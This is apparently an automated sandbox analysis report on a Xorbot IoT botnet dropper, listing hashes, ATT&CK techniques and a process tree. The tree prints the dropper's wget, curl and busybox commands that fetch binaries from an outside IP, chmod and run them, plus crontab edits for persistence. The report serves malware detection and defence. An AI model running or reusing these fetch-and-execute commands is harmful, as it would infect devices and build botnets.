xorbot | a162fecce63df7003fb3c3fe3e6acdfd0f93903750fd8b0a70ef1369b3bbfd12

Analysis

max time kernel
107s
max time network
136s
platform
debian-9_mipsel
resource
debian9-mipsel-20250619-en
resource tags

arch:mipselimage:debian9-mipsel-20250619-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
10/09/2025, 03:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample250910-dsawbatyb1
SHA256 a162fecce63df7003fb3c3fe3e6acdfd0f93903750fd8b0a70ef1369b3bbfd12
MD5 7eeda9e5b75c7f05d6bbaa0690290025
SHA1 113b632a77fae51d841236e4309952d96f6195d0
SHA512 49de5492c269ae63cd00269eabaf4e99f830d38107ebdc05ccaa54580abfad7120fe22ccdf2daabd9dc9e9f18685ee49435d71f78984bac51b7551a7cc66b3ec
SSDEEP 96:N9WY9/hG42e+XPkDBFHJxmhlHxm9WYz9/xG9jwvUeNRuXPkDBFLnJxmhljP+:N9n9/hG42ePTN/AY7t
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

botnet defense_evasion discovery execution xorbot persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 6 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot
behavioral4/files/fstream-7.dat	family_xorbot
behavioral4/files/fstream-9.dat	family_xorbot
behavioral4/files/fstream-11.dat	family_xorbot
behavioral4/files/fstream-13.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (646) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 9 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
875	chmod
748	chmod
807	chmod
838	chmod
858	chmod
865	chmod
741	chmod
770	chmod
814	chmod

Executes dropped EXE 9 IoCs

ioc	pid	Process
/tmp/TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6	742	bins.sh
/tmp/c2xCigpEc8gDaRVh7EZSlV0MI6fxccCwu0	749	bins.sh
/tmp/JqsAaYNlwcZm79putGaJQ0uVkHsrNdhIX3	772	bins.sh
/tmp/9E6NXF9JmaIxL3mH8JRePiGwSVynBZ7D3H	808	bins.sh
/tmp/E4GzSXksWA4g9hmBARDi40XIL1gGPZbw59	815	bins.sh
/tmp/Rf9jPhnhhE5FnSQIa6GwRQxwWzZeQX7W0h	839	bins.sh
/tmp/ISScjwTKiVCysfSQPJbLxJKYaY3SAQfrqc	859	bins.sh
/tmp/120wAer7idhbNFA62mjwfieSsa9mYpDHDh	866	bins.sh
/tmp/vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7	876	bins.sh

Renames itself 1 IoCs

pid	Process
877	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.kaoYM4	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/915/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/964/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/1006/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/9/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/22/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/908/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/966/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/967/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/17/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/957/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/980/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/12/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/20/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/913/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/926/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/927/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/929/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/1041/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/1003/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/1023/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/69/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/1025/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/1054/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/227/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/367/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/920/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/922/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/1015/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/1029/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/973/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/1033/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/24/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/686/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/1021/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/71/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/935/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/949/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/982/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/1016/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/900/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/902/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/709/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/894/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/1007/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/1020/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/1037/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/1043/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/74/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/933/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/976/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/1024/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/677/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/962/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/984/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/1059/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/159/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/1051/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/1053/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/11/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
File opened for reading	/proc/939/cmdline	vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7

Writes file to tmp directory 27 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/c2xCigpEc8gDaRVh7EZSlV0MI6fxccCwu0	busybox
File opened for modification	/tmp/9E6NXF9JmaIxL3mH8JRePiGwSVynBZ7D3H	wget
File opened for modification	/tmp/Rf9jPhnhhE5FnSQIa6GwRQxwWzZeQX7W0h	wget
File opened for modification	/tmp/Rf9jPhnhhE5FnSQIa6GwRQxwWzZeQX7W0h	curl
File opened for modification	/tmp/ISScjwTKiVCysfSQPJbLxJKYaY3SAQfrqc	curl
File opened for modification	/tmp/ISScjwTKiVCysfSQPJbLxJKYaY3SAQfrqc	busybox
File opened for modification	/tmp/vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7	curl
File opened for modification	/tmp/TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6	wget
File opened for modification	/tmp/TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6	busybox
File opened for modification	/tmp/c2xCigpEc8gDaRVh7EZSlV0MI6fxccCwu0	wget
File opened for modification	/tmp/c2xCigpEc8gDaRVh7EZSlV0MI6fxccCwu0	curl
File opened for modification	/tmp/JqsAaYNlwcZm79putGaJQ0uVkHsrNdhIX3	curl
File opened for modification	/tmp/E4GzSXksWA4g9hmBARDi40XIL1gGPZbw59	busybox
File opened for modification	/tmp/Rf9jPhnhhE5FnSQIa6GwRQxwWzZeQX7W0h	busybox
File opened for modification	/tmp/120wAer7idhbNFA62mjwfieSsa9mYpDHDh	busybox
File opened for modification	/tmp/JqsAaYNlwcZm79putGaJQ0uVkHsrNdhIX3	busybox
File opened for modification	/tmp/9E6NXF9JmaIxL3mH8JRePiGwSVynBZ7D3H	curl
File opened for modification	/tmp/9E6NXF9JmaIxL3mH8JRePiGwSVynBZ7D3H	busybox
File opened for modification	/tmp/E4GzSXksWA4g9hmBARDi40XIL1gGPZbw59	wget
File opened for modification	/tmp/120wAer7idhbNFA62mjwfieSsa9mYpDHDh	curl
File opened for modification	/tmp/vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7	wget
File opened for modification	/tmp/vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7	busybox
File opened for modification	/tmp/JqsAaYNlwcZm79putGaJQ0uVkHsrNdhIX3	wget
File opened for modification	/tmp/E4GzSXksWA4g9hmBARDi40XIL1gGPZbw59	curl
File opened for modification	/tmp/ISScjwTKiVCysfSQPJbLxJKYaY3SAQfrqc	wget
File opened for modification	/tmp/120wAer7idhbNFA62mjwfieSsa9mYpDHDh	wget
File opened for modification	/tmp/TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:710
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:713
- /usr/bin/wget
  wget http://178.16.54.252/bins/TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6
  2⤵
  - Writes file to tmp directory
  PID:716
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:734
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6
  2⤵
  - Writes file to tmp directory
  PID:740
- /bin/chmod
  chmod 777 TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6
  ./TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6
  2⤵
  PID:742
- /bin/rm
  rm TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6
  2⤵
  PID:744
- /usr/bin/wget
  wget http://178.16.54.252/bins/c2xCigpEc8gDaRVh7EZSlV0MI6fxccCwu0
  2⤵
  - Writes file to tmp directory
  PID:745
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/c2xCigpEc8gDaRVh7EZSlV0MI6fxccCwu0
  2⤵
  - Writes file to tmp directory
  PID:746
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/c2xCigpEc8gDaRVh7EZSlV0MI6fxccCwu0
  2⤵
  - Writes file to tmp directory
  PID:747
- /bin/chmod
  chmod 777 c2xCigpEc8gDaRVh7EZSlV0MI6fxccCwu0
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/c2xCigpEc8gDaRVh7EZSlV0MI6fxccCwu0
  ./c2xCigpEc8gDaRVh7EZSlV0MI6fxccCwu0
  2⤵
  PID:749
- /bin/rm
  rm c2xCigpEc8gDaRVh7EZSlV0MI6fxccCwu0
  2⤵
  PID:751
- /usr/bin/wget
  wget http://178.16.54.252/bins/JqsAaYNlwcZm79putGaJQ0uVkHsrNdhIX3
  2⤵
  - Writes file to tmp directory
  PID:752
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/JqsAaYNlwcZm79putGaJQ0uVkHsrNdhIX3
  2⤵
  - Writes file to tmp directory
  PID:753
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/JqsAaYNlwcZm79putGaJQ0uVkHsrNdhIX3
  2⤵
  - Writes file to tmp directory
  PID:764
- /bin/chmod
  chmod 777 JqsAaYNlwcZm79putGaJQ0uVkHsrNdhIX3
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/JqsAaYNlwcZm79putGaJQ0uVkHsrNdhIX3
  ./JqsAaYNlwcZm79putGaJQ0uVkHsrNdhIX3
  2⤵
  PID:772
- /bin/rm
  rm JqsAaYNlwcZm79putGaJQ0uVkHsrNdhIX3
  2⤵
  PID:775
- /usr/bin/wget
  wget http://178.16.54.252/bins/9E6NXF9JmaIxL3mH8JRePiGwSVynBZ7D3H
  2⤵
  - Writes file to tmp directory
  PID:776
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/9E6NXF9JmaIxL3mH8JRePiGwSVynBZ7D3H
  2⤵
  - Writes file to tmp directory
  PID:786
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/9E6NXF9JmaIxL3mH8JRePiGwSVynBZ7D3H
  2⤵
  - Writes file to tmp directory
  PID:803
- /bin/chmod
  chmod 777 9E6NXF9JmaIxL3mH8JRePiGwSVynBZ7D3H
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/9E6NXF9JmaIxL3mH8JRePiGwSVynBZ7D3H
  ./9E6NXF9JmaIxL3mH8JRePiGwSVynBZ7D3H
  2⤵
  PID:808
- /bin/rm
  rm 9E6NXF9JmaIxL3mH8JRePiGwSVynBZ7D3H
  2⤵
  PID:810
- /usr/bin/wget
  wget http://178.16.54.252/bins/E4GzSXksWA4g9hmBARDi40XIL1gGPZbw59
  2⤵
  - Writes file to tmp directory
  PID:811
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/E4GzSXksWA4g9hmBARDi40XIL1gGPZbw59
  2⤵
  - Writes file to tmp directory
  PID:812
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/E4GzSXksWA4g9hmBARDi40XIL1gGPZbw59
  2⤵
  - Writes file to tmp directory
  PID:813
- /bin/chmod
  chmod 777 E4GzSXksWA4g9hmBARDi40XIL1gGPZbw59
  2⤵
  - File and Directory Permissions Modification
  PID:814
- /tmp/E4GzSXksWA4g9hmBARDi40XIL1gGPZbw59
  ./E4GzSXksWA4g9hmBARDi40XIL1gGPZbw59
  2⤵
  PID:815
- /bin/rm
  rm E4GzSXksWA4g9hmBARDi40XIL1gGPZbw59
  2⤵
  PID:817
- /usr/bin/wget
  wget http://178.16.54.252/bins/Rf9jPhnhhE5FnSQIa6GwRQxwWzZeQX7W0h
  2⤵
  - Writes file to tmp directory
  PID:818
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/Rf9jPhnhhE5FnSQIa6GwRQxwWzZeQX7W0h
  2⤵
  - Writes file to tmp directory
  PID:821
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/Rf9jPhnhhE5FnSQIa6GwRQxwWzZeQX7W0h
  2⤵
  - Writes file to tmp directory
  PID:832
- /bin/chmod
  chmod 777 Rf9jPhnhhE5FnSQIa6GwRQxwWzZeQX7W0h
  2⤵
  - File and Directory Permissions Modification
  PID:838
- /tmp/Rf9jPhnhhE5FnSQIa6GwRQxwWzZeQX7W0h
  ./Rf9jPhnhhE5FnSQIa6GwRQxwWzZeQX7W0h
  2⤵
  PID:839
- /bin/rm
  rm Rf9jPhnhhE5FnSQIa6GwRQxwWzZeQX7W0h
  2⤵
  PID:842
- /usr/bin/wget
  wget http://178.16.54.252/bins/ISScjwTKiVCysfSQPJbLxJKYaY3SAQfrqc
  2⤵
  - Writes file to tmp directory
  PID:844
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/ISScjwTKiVCysfSQPJbLxJKYaY3SAQfrqc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:854
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/ISScjwTKiVCysfSQPJbLxJKYaY3SAQfrqc
  2⤵
  - Writes file to tmp directory
  PID:857
- /bin/chmod
  chmod 777 ISScjwTKiVCysfSQPJbLxJKYaY3SAQfrqc
  2⤵
  - File and Directory Permissions Modification
  PID:858
- /tmp/ISScjwTKiVCysfSQPJbLxJKYaY3SAQfrqc
  ./ISScjwTKiVCysfSQPJbLxJKYaY3SAQfrqc
  2⤵
  PID:859
- /bin/rm
  rm ISScjwTKiVCysfSQPJbLxJKYaY3SAQfrqc
  2⤵
  PID:861
- /usr/bin/wget
  wget http://178.16.54.252/bins/120wAer7idhbNFA62mjwfieSsa9mYpDHDh
  2⤵
  - Writes file to tmp directory
  PID:862
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/120wAer7idhbNFA62mjwfieSsa9mYpDHDh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:863
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/120wAer7idhbNFA62mjwfieSsa9mYpDHDh
  2⤵
  - Writes file to tmp directory
  PID:864
- /bin/chmod
  chmod 777 120wAer7idhbNFA62mjwfieSsa9mYpDHDh
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/120wAer7idhbNFA62mjwfieSsa9mYpDHDh
  ./120wAer7idhbNFA62mjwfieSsa9mYpDHDh
  2⤵
  PID:866
- /bin/rm
  rm 120wAer7idhbNFA62mjwfieSsa9mYpDHDh
  2⤵
  PID:868
- /usr/bin/wget
  wget http://178.16.54.252/bins/vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
  2⤵
  - Writes file to tmp directory
  PID:869
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
  2⤵
  - Writes file to tmp directory
  PID:873
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
  2⤵
  - Writes file to tmp directory
  PID:874
- /bin/chmod
  chmod 777 vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /tmp/vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
  ./vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:876
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:878
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:879
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:880
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:881
- /bin/rm
  rm vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
  2⤵
  PID:883
- /usr/bin/wget
  wget http://178.16.54.252/bins/Z8IWHp5KuN7chYW39sFTc7zzutB3REkyej
  2⤵
  PID:886

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

120wAer7idhbNFA62mjwfieSsa9mYpDHDh

Path /tmp/120wAer7idhbNFA62mjwfieSsa9mYpDHDh
Size 152KB
SHA256 d8018e31b77b135ed300a988757f409347d013b76f9c9a4972e48cb715f45967
MD5 92b61ea1a013a6ce853f1bc4af1f84c6
SHA1 996351696eed3c4375cec9cccbbf638d6e2e73d8
SHA512 d27c2a3e863feb563497d1fa6b92e6f825efd8dc4e50921931eefb8ac25c1b8877010f72b0a0f54abc89da14c48089703e50067ec33c30cc7133ffa3d779fa64
SSDEEP 1536:DNNGqUu+a7I7f9m7n7f7c7r7B7c7Q7j7s7a7I7FffZ6/bJbW1qnqZPMOWJTF+k1w:inmk9GDNvbz3mLjXswi5ktRx2p
MD5 SHA1 SHA512 SSDEEP

Submit Download

9E6NXF9JmaIxL3mH8JRePiGwSVynBZ7D3H

Path /tmp/9E6NXF9JmaIxL3mH8JRePiGwSVynBZ7D3H
Size 120KB
SHA256 620f6949b82f9ef987b7511fbbb09c2da57d8be47b019fa6a9686ce08b4c3e70
MD5 35c32e30c7317b38e24341972a0d3b84
SHA1 daa5bc30312aed05a29b04e15d3ced46c21eea21
SHA512 5ff20be205bae4ab7a190348b11dcfbf9943396f3bef40214af310d18982e3a9db8012290c8d8d567115093081650d5b37b47903f542cff8200cace04600222a
SSDEEP 3072:nPhq2lXta3rzOk3QQnL6hD1LJaMjlmtW2dS1um8RiQztvJk9zEp:PO5BnLCD1taMjuvm8RiQztv+9zEp
MD5 SHA1 SHA512 SSDEEP

Submit Download

E4GzSXksWA4g9hmBARDi40XIL1gGPZbw59

Path /tmp/E4GzSXksWA4g9hmBARDi40XIL1gGPZbw59
Size 114KB
SHA256 b53d4781bbadb17014da280e274e11f2de9063a35f2eabd32d4596707b147306
MD5 2fe36f3492199913682672cdda7e00fe
SHA1 7dfdbe3c69f5e024c2a128fb53382993a30d0e87
SHA512 2afa052d226bb39236cbec7168da2709e2cce3f68a0a8766da285173cd1baf516701d6d09f426f43882cc5671b15fc859a06f796d0ca49e7d0f21b460ef224d4
SSDEEP 3072:Kzt9jLRyERHkUm9Gz06xgblohSm/pOQbZJ5x35zzp:89jLRyEREUMGzngbl8Sm/pOQbZJ5x5zV
MD5 SHA1 SHA512 SSDEEP

Submit Download

ISScjwTKiVCysfSQPJbLxJKYaY3SAQfrqc

Path /tmp/ISScjwTKiVCysfSQPJbLxJKYaY3SAQfrqc
Size 141KB
SHA256 87f11a3ee2486bc4845a28465c2e70d2d9f98725edf4a73c3359c23a43ed74b7
MD5 62dbad1a93a6542c18c69bb128b387a7
SHA1 f13a02f5974fe457b3cf612d6ee0301e2ef79b58
SHA512 18a75ee8e907e0d662c907c3a1b74e0f2a8b9be74bd085fcd51c1875272ee6760ae74543d461dd62d59638a51553012fdee92d9a834b009f2daceb63445695ec
SSDEEP 3072:i3otmbKcIxC3FVTvDQnaGnRuKMQP2ESmw+lHzSnqtmmytHHQRkhCalY:i3NTD2a+3P2ESmL5tmmytHHQRkhplY
MD5 SHA1 SHA512 SSDEEP

Submit Download

JqsAaYNlwcZm79putGaJQ0uVkHsrNdhIX3

Path /tmp/JqsAaYNlwcZm79putGaJQ0uVkHsrNdhIX3
Size 178KB
SHA256 9c683b0be86d4cd274a7a16073bdf092218f259b055a72f848d589574e9b8084
MD5 19160a5523c423d5bf271501c4f2a034
SHA1 c89fc29e6d4259f6ef314e5baaab2014e9c5dd8c
SHA512 442a0e575d79775d956026beb75d193251729cddaea5d0407e79e7d78a82db7703970c44f1c23e86d5459e2615b56d968bfbd3bff93656730e0659fb1358ecfe
SSDEEP 3072:TI9TfU7BPdL8xt4fYarb1lFkw/YFrAVoWUzXhKNM/9qxuHXLmmmLdwC7HuRsY:TI9owarb1lF9/vVoNzXhAM/9VXLmmmLe
MD5 SHA1 SHA512 SSDEEP

Submit Download

Rf9jPhnhhE5FnSQIa6GwRQxwWzZeQX7W0h

Path /tmp/Rf9jPhnhhE5FnSQIa6GwRQxwWzZeQX7W0h
Size 114KB
SHA256 4190491b9006404cab256d66125bd77b1c3a0e63451fbb3d829617d7e87acc9b
MD5 cc5918343c53a68a72dea81034191b2a
SHA1 94558258c0f022f6c522d1b323fbb829748edcd4
SHA512 b7a37c4a28a3f5b51a69d5e4bd9954d5cc7e6ce56a0e1e4f3efc48a32ab7acb0e61608e963b290c77934f5bbc09b8cf4af6e7da8999cfa55436d94bec5ca810f
SSDEEP 3072:wYm1L7k2I1CV/38vuGOn8r9cAEtRom/pOQbZJ5x35zzp:I1L7k2I8V/30Ona9cAE7om/pOQbZJ5xX
MD5 SHA1 SHA512 SSDEEP

Submit Download

TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6

Path /tmp/TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6
Size 127KB
SHA256 dfd830368724f6abcc542bc8b85e3d5fa2aedf8282d3805d0d6d53f45c7e0937
MD5 2a74531db06c6acb19abec6799ccbbb9
SHA1 1cf59cc30a1d967dc524ddfba7fd03914b86244d
SHA512 5d3707d69097a51f4295586b972970f00fefaf3de997bae46099c9b80a01afb5a6173683ded0bc0a92b0f7337449c8ff47be9a338171fb80e05d5d63158f364c
SSDEEP 3072:aD21Vr3guSRV7niyIqzoHMnQQXwQijKvKmxKjQVnkMk9H8p:d4/MHMQQgQij4KmxKjQVnkl9H8p
MD5 SHA1 SHA512 SSDEEP

Submit Download

c2xCigpEc8gDaRVh7EZSlV0MI6fxccCwu0

Path /tmp/c2xCigpEc8gDaRVh7EZSlV0MI6fxccCwu0
Size 122KB
SHA256 8ce9145fee0d3d2444554d901b334c36e71bb1346280ada7ff366cf9d25c5938
MD5 64e5dc568639ebb42114d61a67279e56
SHA1 9528f43f297c99209abd591a14402601ab66b49d
SHA512 371a03dbdd5128eb1be859c721619c06404fccc2110dd9d62316b3e897b37d2119864ef1618d97394a4f9f5f8e46c73469186d0111323cde1b815dad50a7b616
SSDEEP 3072:+Z7+vtgnSgtpg1sgnHgSGD5jT6Dkkn8mbPQbZBsf35ZYp:IbY3AJV6B8mbPQbZBs/5ZYp
MD5 SHA1 SHA512 SSDEEP

Submit Download

vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7

Path /tmp/vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
Size 152KB
SHA256 f39b67fff1f106fb1b4fa9beb386427c8e7eb010f306ad0445da70bffc855f2e
MD5 57b74f476fc4e11a894f834bbf9090ff
SHA1 ef90bec76170a9036cd084dc551182d153d2ef92
SHA512 459c555f671ca4877da451f38b4d9d9ae21e48021303924dd3f50c8722e1276e4f724317b0708cae65635fa3b691ccaddf2bb2f9d265f10a36146f2bc5e67507
SSDEEP 1536:QhXNmuGufu4zeMtMxVEVWNctKZLi9yjItfdyaX8gQ+bilbRGVUmCjXswi5d2tRxK:Q9Nm18O2V3Kq42AbIUmCjXswi5ktRx2p
MD5 SHA1 SHA512 SSDEEP

Submit Download

tmp.kaoYM4

Path /var/spool/cron/crontabs/tmp.kaoYM4
Size 210B
SHA256 cbe3a6d8b49e21d12dd33e862df1042deb5ce2571164a97e240cf43b89b57388
MD5 4a7dcf91df264d06c95745ef5eeed940
SHA1 0787dd5b53d94d46ef1366eeac79ffef018f4053
